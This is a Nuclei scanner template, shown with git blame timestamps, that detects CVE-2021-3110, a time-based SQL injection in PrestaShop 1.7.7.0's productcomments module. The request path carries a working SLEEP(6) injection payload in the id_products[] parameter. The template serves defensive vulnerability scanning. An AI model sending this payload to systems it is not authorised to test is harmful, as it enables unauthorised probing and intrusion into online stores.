nuclei-templates/cves/2021/CVE-2021-3110.yaml

30 lines
1004 B
YAML
Raw Normal View History

2021-02-18 05:13:09 +00:00
id: CVE-2021-3110
2021-02-17 20:27:08 +00:00
info:
2022-11-09 06:03:04 +00:00
name: PrestaShop 1.7.7.0 SQL Injection
2021-02-17 20:27:08 +00:00
author: Jaimin Gondaliya
2021-02-18 05:13:09 +00:00
severity: critical
2022-11-09 06:03:04 +00:00
description: |
The store system in PrestaShop 1.7.7.0 allows time-based boolean SQL injection via the module=productcomments controller=CommentGrade id_products[] parameter.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2021-3110
- https://medium.com/@gondaliyajaimin797/cve-2021-3110-75a24943ca5e
- https://www.exploit-db.com/exploits/49410
metadata:
verified: true
2021-02-18 05:13:09 +00:00
tags: cve,cve2021,sqli,prestshop
2021-02-17 20:27:08 +00:00
requests:
- method: GET
path:
2022-11-09 06:00:08 +00:00
- "{{BaseURL}}/index.php?fc=module&module=productcomments&controller=CommentGrade&id_products[]=1%20AND%20(SELECT%203875%20FROM%20(SELECT(SLEEP(6)))xoOt)"
2021-02-17 20:27:08 +00:00
matchers:
- type: dsl
dsl:
2022-11-09 06:00:08 +00:00
- 'duration>=6'
- 'status_code == 200'
2022-11-09 06:03:04 +00:00
- 'contains(content_type, "application/json")'
2022-11-09 06:00:08 +00:00
- 'contains(body, "average_grade")'
condition: and